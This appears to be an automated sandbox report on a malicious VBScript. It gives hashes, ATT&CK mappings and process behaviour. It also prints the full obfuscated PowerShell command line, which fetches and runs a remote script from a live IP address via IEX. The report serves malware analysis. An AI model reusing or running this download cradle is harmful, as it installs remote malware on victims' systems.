dae8a21a0a648fdfaab4e7b927cee26d3f600ea3a6732f52490a64f167128f0e

General

Target

DRGRKEYUTGCHG.vbs
Size

10KB
MD5

bd8dffacd8333c2cec6b8eb794965631
SHA1

28feabf6ee95f521c0ba21e4014b372d2553abd5
SHA256

e700d9c14903adf9a197c4264b53dd06ec47375de4b07b50df49a97052119930
SHA512

e900eede39e73529e1c8296d314ba3f4e25397a7bfff45b8e418f23e267f7e1369c69ce36d32e3d93938873cfd275221b42ef8cb6ad80e4c039d46d52fa7e52c

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

376 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 376 powershell.exe

pid	process
376	powershell.exe

description	pid	process
Token: SeDebugPrivilege	376	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 1592 wrote to memory of 376	1592	WScript.exe	powershell.exe
PID 1592 wrote to memory of 376	1592	WScript.exe	powershell.exe
PID 1592 wrote to memory of 376	1592	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DRGRKEYUTGCHG.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $HUEFUTBTCTLCFKDGFALECUN = '[*+5&/!3<</(%3<$$&<1@#-y*+5&/!3<</(%3<$$&<1@#-t/%&1&+&7=!@8-0(0-+8%$\[/&]9}][1_+@%-&<&#^--%.IO.*+5&/!3<</(%3<$$&<1@#-t)*({3!_=3]@{-+1\}@%{88/%&1&+&7=!@8-0(0-+8%$\4}84}8705\01[/#-(6&19%[/&]9}][1_+@%-&<&#^--%)*({3!_=3]@{-+1\}@%{88/%&1&+&7=!@8-0(0-+8%$\4}84}8705\01[/#-(6&19%d/%&1&+&7=!@8-0(0-+8%$\)*({3!_=3]@{-+1\}@%{88]'.RePlace('*+5&/!3<</(%3<$$&<1@#-','S').RePlace('/%&1&+&7=!@8-0(0-+8%$\','E').RePlace(')*({3!_=3]@{-+1\}@%{88','R').RePlace('4}84}8705\01[/#-(6&19%','A').RePlace('[/&]9}][1_+@%-&<&#^--%','M');$HHPCXNLYCJNJNANYSIXGBXB = ($HUEFUTBTCTLCFKDGFALECUN -Join '')|&('I'+'EX');$HBSWWCHKJPHCIHYLPBADIVC = '[%=}3&3{997<)<9(\/#$9]_y%=}3&3{997<)<9(\/#$9]_#[{9@(%3!%*}#!(]]5)5+%!^%)7)_4&^+#%{370{3-#%m.N!^%)7)_4&^+#%{370{3-#%#[{9@(%3!%*}#!(]]5)5+%.W!^%)7)_4&^+#%{370{3-#%bR!^%)7)_4&^+#%{370{3-#%qu!^%)7)_4&^+#%{370{3-#%%=}3&3{997<)<9(\/#$9]_#[{9@(%3!%*}#!(]]5)5+%]'.RePlace('%=}3&3{997<)<9(\/#$9]_','S').RePlace('!^%)7)_4&^+#%{370{3-#%','E').RePlace('#[{9@(%3!%*}#!(]]5)5+%','T');$HRKBGLQEIIOTGKRAVGDLNFB = ($HBSWWCHKJPHCIHYLPBADIVC -Join '')|&('I'+'EX');$HEKLNIBCXUJQWGFRURKPEYH = '}=5(@3]#3)+286%^()-%7%r\9-9[^\2<62^/3@+]3!){}a^[0__=$7}#(@{][37@^2_&\9-9[^\2<62^/3@+]3!){}'.RePlace('}=5(@3]#3)+286%^()-%7%','C').RePlace('\9-9[^\2<62^/3@+]3!){}','E').RePlace('^[0__=$7}#(@{][37@^2_&','T');$HEBZUFQTNVBUTPKTLSTLJWS = '<=7#5]=_4*+3-]/7}6)-!)\(9%[{[/5=6/[(%9(&%592tR\(9%[{[/5=6/[(%9(&%592++4/41*0$\7@})4_2\{5$/Pon++4/41*0$\7@})4_2\{5$/\(9%[{[/5=6/[(%9(&%592'.RePlace('<=7#5]=_4*+3-]/7}6)-!)','G').RePlace('\(9%[{[/5=6/[(%9(&%592','E').RePlace('++4/41*0$\7@})4_2\{5$/','S');$HHPHRZIHNFHAGPKYQIXDUFE = 'G-^{}6\%&!4)-{0/-92=!)1t1/=&068/-*)_2^(\@_)-}7-^{}6\%&!4)-{0/-92=!)1\{1@=&(406!]](!]+[#[08Pon\{1@=&(406!]](!]+[#[08-^{}6\%&!4)-{0/-92=!)1\{1@=&(406!]](!]+[#[08t1/=&068/-*)_2^(\@_)-}7-^{}6\%&!4)-{0/-92=!)1am'.RePlace('\{1@=&(406!]](!]+[#[08','S').RePlace('-^{}6\%&!4)-{0/-92=!)1','E').RePlace('1/=&068/-*)_2^(\@_)-}7','R');$HXLYDESAYDAKLLLAJUVKBOS = '85{2//*@5<)-^[3_)00#@2449$6@_2+[6{+*=970##$_a101-}+2!%$[72+-&{7+39{To449$6@_2+[6{+*=970##$_n101-}+2!%$[72+-&{7+39{'.RePlace('85{2//*@5<)-^[3_)00#@2','R').RePlace('449$6@_2+[6{+*=970##$_','E').RePlace('101-}+2!%$[72+-&{7+39{','D');&('I'+'EX')($HHPCXNLYCJNJNANYSIXGBXB::new($HRKBGLQEIIOTGKRAVGDLNFB::$HEKLNIBCXUJQWGFRURKPEYH('HttP://54.235.58.2/4/Ps1Hff.txt').$HEBZUFQTNVBUTPKTLSTLJWS().$HHPHRZIHNFHAGPKYQIXDUFE()).$HXLYDESAYDAKLLLAJUVKBOS())
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:376

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/376-56-0x000007FEF2D00000-0x000007FEF385D000-memory.dmp

Filesize
11.4MB

Download
memory/376-57-0x000007FEF542E000-0x000007FEF542F000-memory.dmp

Filesize
4KB

Download
memory/376-58-0x00000000025B0000-0x00000000025B2000-memory.dmp

Filesize
8KB

Download
memory/376-59-0x00000000025B2000-0x00000000025B4000-memory.dmp

Filesize
8KB

Download
memory/376-60-0x00000000025B4000-0x00000000025B7000-memory.dmp

Filesize
12KB

Download
memory/376-61-0x000000001B710000-0x000000001BA0F000-memory.dmp

Filesize
3.0MB

Download
memory/376-62-0x00000000025BB000-0x00000000025DA000-memory.dmp

Filesize
124KB

Download
memory/1592-54-0x000007FEFBAE1000-0x000007FEFBAE3000-memory.dmp

Filesize
8KB

Download

Analysis

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